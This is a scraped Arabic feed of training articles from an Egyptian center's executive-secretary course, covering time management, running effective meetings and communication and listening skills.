من الطبيعي أن تكون على مكتبك أكثر من البريد العادي، إستخدم سياسة أن تطلع على هذه الأوراق مرة واحدة، هذا يعني أنك لا يجب أن تنظر في شيء ثم تضعه مرة ثانية مكانه، فمن الحكمة أن تتخذ إجراء ما بشأن هذا الشيء وتقرر ما ستفعله به، ثم تحركه من مكانه إلى الخطوة التالية في اتجاه إنجازه.

   يتضمن الوقت الضائع تلك الدقائق والساعات غير المفيدة في خلال اليوم، وذلك عندما لا تستطيع إنجاز أي شيء مهم، هذه الفترات تظهر في خلال إزدحام السير، وفي غرف الإنتظار، وعندما لا يحضر الناس إلى الاجتماعات المحددة، وغير ذلك، تستطيع أن تملأ هذا الوقت بدلاً من تضييعه.

  يمكنك أن تجلس أو تسترخي أو تتأمل أو تسهو. تستطيع أن تنظر في قائمة الأعمال المطلوب إنجازها وتغيرها إن كان ذلك ضروريًا. تستطيع أن تفكر في أهدافك أو في العوائق التي تواجهك وتحدد كيف ستقوم بالقضاء عليها.

   هل تذكر تلك المقالات التي قصصتها واحتفظت بها؟ إذا كنت تحملها معك تستطيع أن تقرأها وأنت تنتظر شخصًا ما، من الغريب كم المهام الصغيرة التي يمكن إنجازها في فترات زمنية لا يتعدى طولها عشر دقائق. الوقت الضائع (الفارغ) مفيد أيضًا لإجراء مكالمات هاتفية، إلا إذا كنت في سيارتك طبعًا.

    يعتبر الهاتف بالطبع من أعظم الأدوات التي توفر الوقت في هذه الحياة، فهو يوفر الوقت بدلاً من كتابة الرسائل والإنتقال من مكان لآخر واللقاء مع الناس. لكنه يمكن أن يكون أيضًا مضيعًا كبيرًا للوقت، ولكي تتجنب صرف وقت زائد أكثر من اللازم في الرد على المكالمات إتبع الإقتراحات التالية:

  • حد أفضل وقت لك في خلال اليوم للرد على المكالمات التي وردت.
  • أعد المعلومات مسبقًا عندما ترد على المكالمات التي وردت، يمكن أن تستخرج ملفات وتجمع وثائق تحتاج إليها للإجابة عن أسئلة الزبون. هذا بالطبع يوفر لك الوقت.
  • قلل من طول مكالمتك الهاتفية متى وحيثما كان ذلك مناسبًا.
  • كن منظمًا. أكتب الأسئلة أو الموضوعات التي تود التحدث فيها وضعها أمامك.
  • اجمع مكالماتك حسب نوعها. فإذا كنت تقوم بمكالمات تتعلق بالمبيعات، قم بها جميعًا مرة واحدة.

إن هذا يعطيك الفائدة من وجود استعداد عقلي للموضوع. سوف تكون في ذهني معني دون أن تحتاج إلى تغيير وضعك الفكري مع كل مكالمة.

   في يوم عملنا الزاخر بتحقيق الأهداف والنشاط الزائد وكسب المال، كثيرًا ما تذكر على أنفسنا فترات الراحة التي تحتاج إليها كثيرًا. يمكننا أن تكون مثل سيارة السباق القوية، رائعة جدًا في السرعة العالية، ولكن على حسب المسافة والكفاءة.

  وسلامة الجسم في أثناء السباق، أجسامنا وعقولنا مصممة لكي تعمل جيدًا إذا لم ترهق، من المهم جدًا أن تكون هناك فترات متكررة للاسترخاء ولتخفيف الضغط من أجل إطالة عمر أجسامنا وعقولنا.

  كثيرًا ما يساء إستخدام فترة الراحة نتناول القهوة بدلاً من زيادة الإستفادة منها يركز الناس على العملية بدلاً من النتائج المرغوبة من وراء فترة الراحة هذه. ينبغي إستخدام فترة تناول القهوة أو الغداء كوقت للإسترخاء بحيث تكون أكثر فعالية عند عودتك للعمل.

فالإسترخاء الذي تبحث عنه في خلال فترة الراحة يجب أن يحقق ثلاثة أشياء:

  • يجب أن يلهيك ويأخذ فكرك بعيدًا عن العمل.
  • يجب أن يخفف الضغط.
  • يجب أن يكون قصيرًا بحيث لا يتدخل كثيرًا في يوم عملك، وتتحدد طول فتره الزمنية بالشكل الذي يزودك ببعض الفوائد.
  • لا يمكن إنكار أهمية الإسترخاء برغم أنه يبدو غير مثمر.

  إن إدارة وقتك بكفاءة وفعالية تتطلب تتطلب منك بعض التغييرات في سلوكك وتفكير، تلك التغييرات تحتاج إلى ممارسة.

  عندما نتأمل في الدراسات الكبيرة نجدها تتألف من العديد من الخطوات الصغيرة، وعند إعادة فحص وإصلاح إدارتك للوقت تحتاج أيضًا إلى اتخاذ خطوات صغيرة، إبدأ اليوم بإجراء تلك الأشياء التي سوف تجعلك مديرًا أفضل لوقتك، وبعد أن تتحسن في مجال واحد إختر مجالاً آخر… وهكذا دواليك.

  إن عدم التفويض هو من أكثر المعضلات التي تؤدي إلى إدارة غير فعالة، هناك على الأقل 12 سببًا داخليًا وأسباب خارجية تسبب الفشل في التفويض، يمكن أن يعتبر التفويض الملائم والصحيح من أكثر الأساليب المفيدة لتوفير وقت المدير، وهو ضروري جدًا لتطوير قدرات المرؤوسين. 

*   *   *

انتهت بحمد الله المقالة الرابعة من مسار كيم التعليمى للسكرتارية التنفيذية

بقلم  الدكتور / محمود الضابط  – كلية التجارة جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – السكرتارية التنفيذية – إعداد/ مركز كيم – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/executive_secretary-4/feed/ 0 سلسلة مقالات – السكرتارية التنفيذية – إعداد/ مركز كيم – المقالة الثالثة https://cameknowledge.camecenter.com/articles/executive_secretary-3/ https://cameknowledge.camecenter.com/articles/executive_secretary-3/#respond Tue, 04 Apr 2023 13:51:34 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10365 سلسلة مقالات – السكرتارية التنفيذية إعداد/ مركز كيم  المقالة الثالثة إدارة الإجتماعات الفعالة مقدمة :   بعد  أي اجتماع  قد  تسمع  التالي  :- كان يمكن ألاّ أشارك في الاجتماع ! لم يكن في الاجتماع أيّ شيء يخصني ! لا أرى مبرراً لعقد الاجتماع  ! ما  استغرق ثلاث ساعات كان ممكن أن يستغرق ساعة واحدة ! […]

The post سلسلة مقالات – السكرتارية التنفيذية – إعداد/ مركز كيم – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – السكرتارية التنفيذية

إعداد/ مركز كيم 

المقالة الثالثة

إدارة الإجتماعات الفعالة

مقدمة :

  بعد  أي اجتماع  قد  تسمع  التالي  :-

  1. كان يمكن ألاّ أشارك في الاجتماع !
  2. لم يكن في الاجتماع أيّ شيء يخصني !
  3. لا أرى مبرراً لعقد الاجتماع  !
  4. ما  استغرق ثلاث ساعات كان ممكن أن يستغرق ساعة واحدة !

 

تعريف  الاجتماعات :

 

(هى تبادل للمعلومات والأفكار بين شخصين أو أكثر لهم أدوار فاعلة وذلك لانجاز نتائج محددة).

أهمية  الاجتماعات :

  1. التوصل الى قرارات جماعية تتسم بالعمق والصدق.
  2. التنسيق بين مختلف اوجه الانشطة او مع المنظمات الاخرى.
  3. تقدم معلومات مهمة للقائمين بالأعمال .
  4. تعطي الفرصة لهؤلاء الأشخاص للتعبير عن آرائهم .
  5. يمكن من خلالها استكشاف وتقييم الأفكار ومعرفة الخبرات .
  6. مكان جيد للتدريب والتعليم .
  7. تمنح الإدارة فرصة ذهبية لتشكيل فرق العمل .
  8. القرارات المتخذة من خلال الاجتماعات أكثر شرعية من الفردية .
  9. الاجتماع يخلق جواً من الالتزام بحيث يأخذ كل فرد على عاتقه مهمة تنفيذ ما اتفق عليه.
  10. الاجتماعات الفعّالة تقلل من الأعمال الورقية وتقفز على الروتين .

أدوار  أعضاء  الاجتماع :

أ – قائد الاجتماع:Leader

  • توضيح هدف الاجتماع ووضع جدول الأعمال .
  • يعتبر المسؤول الأول عن السير العام والتوجه النهائي للاجتماع .
  • صهر ما يصدر عن كل المشاركين في بوتقة واحدة .
  • توضيح أدوار ومسؤوليات المشاركين.
  • ايجاد روح الألفة والانسجام بين المشاركين .
  • يشارك في النقاش كأنه عضو وليس قائد .
  • يستخدم الاقناع أكثر من السلطة في تنفيذ القرارات .

ب – الميسّر (المنسق) :- Facilitator

  • فض النزاع بين المشاركين.
  • توضيح نقاط الاتفاق والاختلاف بين الآراء.
  • تحديد موضع النزاع.
  • تنظيم وترتيب النقاش ( مثل المرور).
  • يبقى محايد بين الأفكار المتعارضة.

ج – الأمين :-  Recorder

  • التذ كير بجدول الأعمال.
  • تدوين الأفكار الجيدة والابداعية.
  • تسجيل القرارات.
  • جمع وتدوين سلة المعلقات.
  • ضبط الوقت لكل بند.
  • التذ كير بجدول الأعمال الرئيسي عند كثرة الحواشي والتفصيلات.

د – المشاركون :-

  • الحضور في الوقت المحدد .
  • الاعداد المسبق للاجتماع ذهنياً ونفسياً .
  • تقديم أفكار مفيدة.
  • طرح أسئلة فعّالة.
  • تجنب مقاطعة الكلام وتبادل الاتهامات.
  • عدم الاسراع في اصدار أحكام غير ناضجة ومتكاملة .
  • الوصول إلى اجماع في القرارت (أكثر مرونة ).
  • انجاز المطلوب من القرارت في الوقت المتفق عليه ( الالتزام).

 

أنواع  الاجتماعات :

  1. الإعلامية :-
    • حضور كبير.
    • توصيل أخبار ومعلومات .
    • ليس هناك أسئلة .
  2. المناقشة :-
    • تبادل الأراء والاقتراحات .
    • لايصدر قرار ولاخطة عمل .
    • تشجيع الجميع للنقاش .
    • توفير مناخ تعاوني .
  3. حل المشاكل :-
    • تقتصر على أفراد معينين لديهم معلومات.
    • تقديم اكثر من بديل في القرارات .
  4. متابعة الأداء:-
    • متابعة تنفيذ الخطة من خلال البرامج.
    • تركز على الالتزام بالوقت والجودة في الأداء .
    • اجتماعاتها دورية أسبوعياً أو شهرياً .
  5. التخطيط والتقويم  :-
    • اجتماعاتها موسمياً أو سنوياً .
    • وضع أهداف جديدة وتصحيح الانحراف.
  6. متنوعة .

 العمليات  الإدارية  في  الاجتماعات :

متى تكون؟

ما قبل  الاجتماع

            أثناء  الاجتماع                                       التنشيط

 ما بعد  الاجتماع

  • إن الطريقة التي يتم بها التعامل مع الاجتماعات التي يتم عقدها، تحدّد بشكل أساسي مدى النجاح الذي يمكن أن تحققه هذه الاجتماعات في بلوغ أهدافها.
  • وهذا لا يتوقف فقط على أسلوب إدارتها أثناء انعقادها، بل يتوقف أيضاً على أسلوب الإعداد المسبق لها، وأسلوب المتابعة اللاحقة لما تم الاتفاق على تنفيذه أثناءها.

أ –  ما قبل  الاجتماع  :- (وضوح  جدول  الأعمال).

     يقال أن 80 %  من  نجاح  الاجتماع  يحدد  قبل  انعقاده ( قاعدة بريتو 20 / 80 ).

  1. التخطيط لهذا الاجتماع  :-
    • تحديد جدول  الأعمال   (  What ( .
    • تحديد الزمان , المكان , الأشخاص  ((When , Where , Who .
    • فكّر في  أعباء  المشاركين  .
    • اجعل العدد أقل  ما يمكن  لأنه  كلما  زاد  العدد  زادت  الحاجة  إلى  مزيد  من  السيطرة  والادارة  وصعوبة  في  ايجاد  الوقت  المناسب  للمشاركين.  
  1. عوامل تحدد ضرورة الاشتراك  في الاجتماع:-
  • مدى  المشاركة  في  صنع  القرار .
  • توفير  معلومات  محددة  .
  • توفير  خبرة  معينة  أو  مهارات  محددة  .
  • تهيئة  بديل  مناسب  من خلال تدريبه وتعليمه. 
  1. تحديد المواضيع الصعبة  التي  تحتاج  إلى  اعداد  وتفكير  مسبق  .
  2. تنظيم وتهيئة مكان  وظروف  الاجتماع  :-  (التسهيلات ) .
  • التهوية  , الحرارة  الملائمة  .
  • الاضاءة  .
  • الماء  ,  الشاي  , القهوة  .
  • الأوراق  , الأقلام  ,  السبورة  .
  • عدم  وجود  ما يلفت  الانتباه ( ضوضاء) , ( جوال ) .
  1. ازابة الثلوج :-
  • اراحة عقول  المجتمعين , بالسؤال عن حالهم  وأسرتهم على أن يتم  ذلك  بسرعة ودون تصنع
  • كلمة تذكيرية  .
  1. التعرف على عقليات  ونفسيات  المجتمعين. 
  2. رؤية جميع المشاركين  في  الاجتماع  :-

                          ,              ,  U  ,V

  1. اذا كان هناك شخصان  معروف أنهما كثيرا الجدال والمناقشة  فيما بينهما فمن الأفضل ألا يجلسا  بجانب أو مقابل بعضهما في الاجتماع .  
قبل الإجتماع

 

  

تحديد هدف الاجتماع

 

 

ب – أثناء  الاجتماع  :- ( مارس  فن  القيادة )

  1. الالتزام بجدول  الأعمال .
  2. ابدأ في  الوقت  المحدد  وإن  لم  يحضر  بعض  المشاركين  .
  3. قسم وجزء الوقت  حسب بنود  جدول الأعمال.
  4. من الأفضل أن لاتزيد مدة  الاجتماعات  عن ساعتين  ونصف .
  5. اعط فترة  استراحة  قصيرة (10 دقائق) بعد  ساعة  من  الاجتماع .
  6. أبدأ الاجتماع  بشرح  جدول  الأعمال .
  7. رتب الأولويات .
  8. انتهي من القضية  التي  بدأت  بها (ضبط سير النقاش ) .
  9. راقب انعدام  الانتباه  والتركيز  .
  10. تفاعل مع  ما يقوله  المشاركون  .
  11. استغل خبرات  المشاركين .
  12. حاول الدمج  بين  وجهات  النظر  المختلفة .
  13. لا تعرض اقتراحاتك  كأنها  حلول  نهائية  ولها أفضلية  في  التنفيذ  .
  14. اشكر واثني  على  الفكرة  والعمل  الجيد .
  15. التعامل مع  الجميع  بمعيار  واحد .
  16. شجّع الجميع  على الاشتراك  في  النقاش  وطرح  وجهات  نظرهم  .
  17. انهي الاجتماع أو أجله إذا رأيت أنه الأنسب .
  18. استخدم الربع  الساعة  الأخيرة  كالأولى  .
  19. لخصّ ما خرجت  به من  نتائج  ودوّن  وسجّل  المهم  منها  .
  20. لا تصادر  الأفكار  غير  التقليدية (الابداعية).

 

ج – ما  بعد  الاجتماع  :-  ( المتابعة والتشجيع) :

  1. الالتزام :-
    • ماذا .
    • من .
    • متى .
  2. المتابعة , المساندة :-
    • الأمين .
    • القائد .
  3. التقييم :-
    • الإدارة .
    • المشاركين .
    • جدول الأعمال ,  الزمان  , المكان .
  4. وسائل التقييم  :-
    • استبيان ( دون  كتابة  أسماء )  .
    • المقابلة .
    • التقييم الذاتي  .

د –  التنشيط  :-  ( التحفيز  والتجديد )

  • إعادة الحيوية والنشاط للاجتماعات .
  • كسر الروتين والرتابة والقضاء على السآمة والملل .
  • التذكير الدائم بأهمية الاجتماعات الفعالة .
  • التجديد والابداع في العرض والأسلوب والوسائل .

الاجتماعات غير الفعالة :

كثير من المديرين يقولون ان الوقت فى الاجتماعات غير الفعالة يضيع أكثر مما يضيع أى جانب آخر فى حياة المنظمة، ومع ذلك نجد أن الاجتماعات مهمة جدا لكى ننجز الأشياء، هذه الأسباب والحلول علاجات مقترحة لا بد أنها ستكون مفيدة.

 

الأسباب الحلول
قبل الاجتماع :  
1.عدم وجود هدف ينبغى ألا يكون هناك إجتماع دون هدف، ويفضل أن يكون مكتوبا إن أمكن ذلك.
2.عدم وجود جدول أعمال. ينبغى ألا يعقد أى اجتماع دون جدول أعمال، يكتب جدول أعمال لكل اجتماع محدد من قبل، أو يذكر جدول أعمال شفوى للاجتماع المفاجئ حتى تضمن أن يحضر الأشخاص وهم مستعدون للنقاش.
3.أشخاص غير ملائمين أو كثيرون أو قليلون. ينبغى أن يحضر فقط أولئك الذين يحتاج الاجتماع لهم.
4.عدم ملاءمة الوقت تأكد من الوقت المناسب.
5.عدم ملاءمة المكان اختر مكانا يلائم أهداف الاجتماع، بعيدا عن المقاطعات، فيه المعدات الضرورية ، يمكن الوصول اليه بأقل قدر ممكن من مشقة الانتقال لأعضاء الاجتماع.
6.عدم التخطيط خطط تخطيطا ملائما لمعظم الاجتماعات الفعالة.
7.كثرة الاجتماعات اختبر حاجتك للاجتماعات العادية، توقف عن عقدها لفترة وانظر ماذا يحدث، او اختصر الوقت للنصف بالنسبة للاجتماعات الطويلة.
8.قلة الاجتماعات قم بتقييم الحاجة للمشاركة وللمعلومات وللتنسيق، ضع الجدول بناء على هذه المعلومات.
9.إشعار أو مذكرة غير ملائمة أعد مذكرة مكتوبة بكل الضروريات بما فيها المساهمات والمواد الضرورية للتحضير للاجتماع.
10.عدم ابتداء الاجتماع فى الموعد المحدد إبدأ فى الوقت المحدد، (عندما تؤخر الاجتماع فى انتظار وصول المتأخرين فإنك بذلك تعاقب أولئك الذين جاؤوا فى الوقت الصحيح وتكافئ أولئك المتأخرين).
أثناء الاجتماع :  
11.   الحديث الودى احتفظ بالحديث لمكان آخر، ابدأ بالأعمال الضرورية فوراً.
12.السماح بالمقاطعات ضع سياسة ودع الكل يعرفها، لاتسمح بأى مقاطعة ما أمكن ذلك، إلا فى الحالات الطارئة، قم بإذاعة الرسائل الواردة فى خلال فترة الاستراحة للقهوة أو تناول الغداء.
13.الخروج على جدول الاجتماع توقع الالتزام بألا يخرجوا عن جدول الاجتماع وطالبهم به، قاوم الجداول الخفية الخادعة.
14.عدم تحديد وقت انتهاء الاجتماع أو عدم تحديد الوقت لمناقشة كل موضوع حدد زمن الاجتماع وكل فقرة فى جدول الاجتماع حتى يكون وقت النقاش مناسبا لأهمية الموضوع المطروح.
15.الإبقاء على اشخاص فى الاجتماع لم تعد بحاجة لهم دعهم يغادرون الاجتماع بعد أن قدموا مساهمتهم.
16.التردد اجعل الهدف نصب عينيك وتحرك فى اتجاهه
17.اتخاذ قرار دون توافر المعلومات الكافية تأكد من أن المعلومات الأولية ستكون متوافرة قبل عقد الاجتماع واستخدمها فى قراراتك.
18.عدم انهاء الاجتماع فى الوقت المحدد قم بإنهاء الاجتماع فى الوقت المحدد والا فلن يستطيع أحد ان يخطط الوقت الذى يلى الاجتماع مباشرة.
بعد الاجتماع :  
19.عدم اصدار محضر رسمى للاجتماع سجل القرارات والمهام ومواعيد الانجاز فى محضر رسمى ووزعه بعد يوم من عقد الاجتماع على الأكثر.
21.عدم المتابعة تأكد من متابعة فعالة لكل القرارات. أكتب الأعمال غير المكتملة تحت عنوان “أعمال غير منتهية” وذلك فى بداية جدول عمل الاجتماع التالى. أطلب دائما تقارير عن الوضع الراهن حتى تنتهى هذه الأعمال.
22.عدم إلغاء اللجان بعد إنجاز الأعمال والأهداف إعمل حصرا باللجان وقم بإلغاء تلك التى أنجزت مهامها.

 

أنواع الشخصيات المشاركين وطرق التعامل معهم

النوع المشاغب :

– إحتفظ بهدوئك معه ،ولا تدخل معه في جدال .

       – لا تجعل أي فرد آخر تتعامل معه يشتبك معه في جدال ، بمرور الزمن يتحسن موقف هذا النوع ، وبالتالي يمكن التعامل معه بفعالية أكثر .

النوع الإيجابي :

      – المناقشة معه مثمرة وبالتالي يجب أن تمكنه من إبداء رأيه .

      – إحرص بإستمرار على الإستعانة به وإستخدامه لتحقيق الفعالية المنشودة .

النوع المدعي :                

      – يزعم العلم بكل شيئ ويدعى المعرفة .

      – لا تسمح له بالسيطرة على المناقشة .

      – لا تتركه يرهب أعضاء أي مجموعة عمل توجد بها .

      – إذا طلب إبداء رأيه فإطلب منه المبررات فإن كانت خاطئة فدع المجموعة تتعامل معه.

النوع الثرثار :

      – هذا النوع كثير الكلام بفائدة وبدون فائدة .

      – قاطعه بلباقة ودون أن تحرجه .

  • حدد له الوقت المسموح له بالحديث فيه .

النوع الخجول :

      – لا تحاول إستثارته بإستمرار .

      – وجه له أسئلة سهلة عندما تسمح الفرصة لتشجعه على المشاركة .

      – حاول أن تجعله يثق في نفسه في إبداء رأيه أمام الآخرين .

 

 

النوع غير المتعاون :

      – هو شخص معترض على آراء الآخرين وغير راضى .

      – تعرف على خبراته ومعارفه وحاول الإستفادة منها .

      – إعمل دائما على كسب صداقته ,أشعره بأنك في حاجة إليه .

النوع البليد السلبي :

      – وجه له الأسئلة بشكل مباشر .

      – إطلب منه النصيحة كلما سمحت الفرصة بذلك .

      – حاول دائما أن تجعله يشعر بأنك تقدر آرائه حتى تجتذبه إلى صفوف المشاركين والمناقشين .

 النوع المتعالي :

      – لا تنتقضه وكن صبورا في التعامل معه .

      – حاول أن تجذب إنتباهه بإستمرار .

      – استفد من ملاحظاته ووضحها للمجموعة .

النوع المتصيد بأسئلته :

      – وهو شخص يحاول أن يوجه أسئلة معينة للقائد لإحراجه .

      – لا ترد على أسئلته وحولها إلى أفراد المجموعة لإبداء الرأي والرد عليها .

ما يجب على رئيس الإجتماع بعد إنتهاء الإجتماع

  • تقييم الإجتماع في ضوء الأهداف المخططة وجدول الأعمال المعد مسبقاً .
  • القيام بإعداد ملخص للموضوعات التي تم مناقشتها في الإجتماع وتوزيعه على الأعضاء ، وهذا الإجراء يحقق شيئين :
  • يؤكد أن ما إتفق عليه مفهوم من جانب الأعضاء .
  • تعريف النتائج التي تم انجازها تعريفاً واضحاً .
  • كتابة محضر أو تقرير عن الإجتماع .
  • الحصول على إلتزام من ذوى الشأن بالعمل .

   يفترض رئيس الإجتماع في كثير من الأحيان أنه طالما أن أيا من الأعضاء لم يعترض على ما حصل في الإجتماع ، إذاً توجد موافقة . إلا أنه توجد عدة إشارات تحذيرية تشير إلى نقص في الالتزام من جانب الحضور مثل :

  • الصمت الكلى وعدم التجاوب من جانب الأعضاء .
  • التجاوب السلبي مثل الأقوال التالية :
  • ” سأحاول ” لكن ذلك لا يكفي .
  • ” أظن أن الأمر هو كذلك لكنه لا يتوقف على وحدي ” .
  • ” نعم ولكن ….”
  • البدأ فوراً في تنفيذ ما إتفق عليه .
  • المتابعة بعد الإجتماع .
  • ضرورة إشراك المشاركين في الإجتماع في تحديد كيفية المتابعة .
  • مراقبة ومتابعة تنفيذ المهام الضرورية لإنجاز النتيجة الإجمالية وتلك المهام التي تعتمد عليها مهام أخرى .
  • المتابعة في الوقت الملائم لمنع حدوث صعوبات .
  • في حالة وقوع إنحرافات يجب تحديد وتعريف أسباب ذلك الخروج وما يمكن فعله لإعادة الأمور إلى مسارها ولمنع حدوث شيء مماثل في الإجتماعات القادمة .

*   *   *

انتهت بحمد الله المقالة الثالثة من مسار كيم التعليمى للسكرتارية التنفيذية

بقلم  الدكتور / محمود الضابط  – كلية التجارة جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – السكرتارية التنفيذية – إعداد/ مركز كيم – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/executive_secretary-3/feed/ 0 سلسلة مقالات – السكرتارية التنفيذية – إعداد/ مركز كيم – المقالة الثانية https://cameknowledge.camecenter.com/articles/executive_secretarial-2/ https://cameknowledge.camecenter.com/articles/executive_secretarial-2/#respond Mon, 03 Apr 2023 16:07:10 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10363 سلسلة مقالات – السكرتارية التنفيذية إعداد/ مركز كيم  المقالة الثانية مهارات الاتصال وفن التعامل مع الأخرين  تعريف عملية الاتصال: المعنى العام للاتصال: الوصول الى اتفاق عام وتوحيد الفكر  بخصوص موضوع ما وهو موضوع الاتصال . تعريف الاتصال  : يعرف الاتصال على أنه أى سلوك يبدؤه الفرد الذى يقوم بإرسال البيانات و المعلومات والمعانى و ينتج […]

The post سلسلة مقالات – السكرتارية التنفيذية – إعداد/ مركز كيم – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – السكرتارية التنفيذية

إعداد/ مركز كيم 

المقالة الثانية

مهارات الاتصال وفن التعامل مع الأخرين

 تعريف عملية الاتصال:

المعنى العام للاتصال:

الوصول الى اتفاق عام وتوحيد الفكر  بخصوص موضوع ما وهو موضوع الاتصال .

تعريف الاتصال  :

يعرف الاتصال على أنه أى سلوك يبدؤه الفرد الذى يقوم بإرسال البيانات و المعلومات والمعانى و ينتج عنه نقل المعنى الذى يرغب فيه الفرد أو الأفراد الآخرين الذين يستقبلون هذه البيانات بحيث يتحقق الفهم المتبادل بين المرسل والمستقبل بما يؤدى الى وحدة فى الجهود ويتسبب فى حدوث الاستجابة من جانب المستقبل بالسلوك الذى يرغب فيه المرسل.

مكونات عملية الاتصال:

 

 

  أساليب الاتصال

  • الاتصال الشفوى :

     أ – المؤتمرات والاجتماعات العادية وعبر الانترنت .

     ب – الحديث الشفوى.

     ت – المقابلة الشخصية  

     ج – الاتصالات التليفونية .  

     ح –الاتصال اللاسلكى و الاتصال الصوتى عبر الانترنت.

 

  • اتصال كتابى :

    أ – التقارير.                      

    ب – المذكرات والاقتراحات.

    ت – الأوامر والتعليمات المكتوبة والمنشورات والكتب الدورية.

    ث – الشكاوى.    

    ج – البريد العادى         

    ح – البريد الالكترونى

    خ –المنتديات و الدردشة والمؤتمرات النصية عبر الانترنت .

 

  • اتصال مرئى (بالملاحظة):
  • الاتصال الغير لفظى ( الحركات الجسدية )
  • الصور.
  • الملصقات والأشكال المتعارف عليها .
  • الالوان المتعارف عليها .

 

معوقات عملية  الاتصال:

عوائق مرتبطة بالإرسال :

  • عدم القدرة على التعبير وابراز المعانى بشكل سليم .
  • الصياغة الرديئة .
  • عوائق الدلالات اللفظية .

عوائق مرتبطة بمكان العمل :

البئية المادية ( ترتيب المكاتب – الحوائط – الحر – الضوضاء )

عوائق تنظيمية :

  • شكل الهيكل التنظيمى  وعدد المستويات الادارية.
  • مدى رسمية العلاقات .
  • الدور الوظيفى
  • الوصف الوظيفى .
  • نظم الإجراءات واللوائح التنظيمية .

العوائق النفسية للمستقبل:

                   – عوائق ناشئة من الفروق الفردية.

                   – عوائق نتيجة لتأثر المستقبل بحالته الانفعالية.

                   – عوائق نتيجة لتأثر المستقبل بالحاجات الانسانية .

عوائق أخرى:

                        مثل عدم الوعى بأهمية الاتصال كأداة لنقل البيانات والمعلومات والتأثير فى السلوك

تعريف فجوة الاتصال  بين الأشخاص:

يتم الاتصال الفعال بين شخصين عندما يفسر المستقبل رسالة المرسل بالطريقة التى يريدها المرسل.

وتحدث الفجوة فى الاتصال بين الأفراد عندما يتم تفسير معنى الرسالة والرد بطريقة مختلفة عما هم مقصود بالفعل .

 

الاختلافات الاداركية وأثرها فى عملية الاتصال: 

الادراك :

هو تفسير ما تتلقاه الحواس الخمس من مؤثرات خارجية بناء على التكوين الداخلى والخبرات وثقافة الانسان .

عملية تفسير الرسالة :

عملية :

عقلية  و قلبية ( عاطفية )

 ….إرادية.

مهارات الاتصال الأساسية:

  • مهارات الانصات

معظم الناس يعتقدون أن الاتصال الجيد هو الكلام الكثير ولكن فى الحقيقة:

الانسان يستطيع أن يسمع 800 كلمة / الدقيقة

فى حين لا يستطيع التحدث بأكثر من 130 : 160 كلمة / الدقيقة

الاستماع: ليس حالة سلبية بل هو حالة ( تفكير، تقييم، تخطيط ).

الاستماع : هو الاستخراج الجيد للمعلومات

وجد أن الإنسان يقضي من حياته :

  • 45 % في الإنصات .
  • 30 % في الكلام .
  • 15 % في القراءة .
  • 10 % في الكتابة .

   85 % مما يتعلمه الانسان يرجع إلى ما يسمعه.

  يحتفظ الفرد عادة بنصف ما يسمع ثم يفقد نصف ذلك النصف بعد ثمان ساعات من سماعه ويظل محتفظا بهذا الربع مدة شهرين تقريبا بعد ذلك قبل أن يتعرض بعده لمزيد من النسيان .

إذاً : الإنصات أكثر مهارات الاتصال استخداما … و أولها فى الاكتساب … و لكن أقلها خضوعا للتعليم و التدريب … !؟

وظائف الإنصــات:

  1. الاستماع .
  2. التفسير .
  3. الاستيعاب .
  4. التذكر .
  5. التقييم .
  6. الاستجابة .

 

طبيعـة الإنصـات الفـعــال

  • من الأقوال الشائعة الهامة تلك المقولة التى تفيد بأننا :

” نسمع بآذاننا . . . . ولكن ننصت بعقولنا وقلوبنا !!!

  • الإنصات عملية مكملة للاتصال الفعال .
  • الإنصات مهارة يمكن تنميتها .
  • الإنصات الفعال له مظاهر يستدل منها عليه .
  • الإنصات يؤدي إلى الاستيعاب والفهم .
  • الإنصات يساعد على تحديد الاستجابة المناسبة .

الوصايا العشر فى الإنصــات

  1. توقف عن الكلام .
  2. حاول أن تريح المتحدث .
  3. اظهر له أنك تود الاستماع اليه وتنصت له جيدا.
  4. لا تشوش على عملية الانصات.
  5. ضع نفسك مكانه .
  6. كن صبوراً .
  7. احتفظ بهدوئك .
  8. تقبل المناقشة والانتقادات بسهولة .
  9. اسئل .
  10. توقف عن الكلام .

مهارة التحدث

 

مهارات صياغة الحديث :

 

الاتصال غير الشفهى
Non Verbal Communication
Body Language

تنتقل عن طريق الخمس قنوات الجسدية الآتية :

1- زاوية الجسم              ( Body angle )

2- الوجه                     ( Face )

3- الذراعين                  ( Arms )

4- اليدين                     ( Hands )

5- الرجلين                   ( Legs )

 

بعض أمثلة لنماذج تفسير الحركات الجسدية

 

 

 

 

 

فن الاستفسار

 

 

أنواع الأسئلة

 

 

مصفوفة الأساليب الاجتماعية

 Social style matrix

S  .S  . M

 

أمثلة لبعض الأشخاص الذين يمثلون الأساليب الاجتماعية

 

 

الأنماط المختلفة للتعامل مع الأفراد بفاعلية

  1. المحلل
  • يتعاملون مع الحقائق والمعلومات والمنطق.
  • يتأخرون فى اصدار القرارات.
  • حريصون أكثر من اللازم وغير مغامرين.
  • يحتفظون بمشاعرهم وعواطفهم لأنفسهم.

 

  1. العاطفى
  • تمثل الصداقات والناس أهم شئ لهم.
  • يهتمون بصدق مشاعر الآخرين.
  • لا يميلون إلى اظهار ما فى عقولهم.

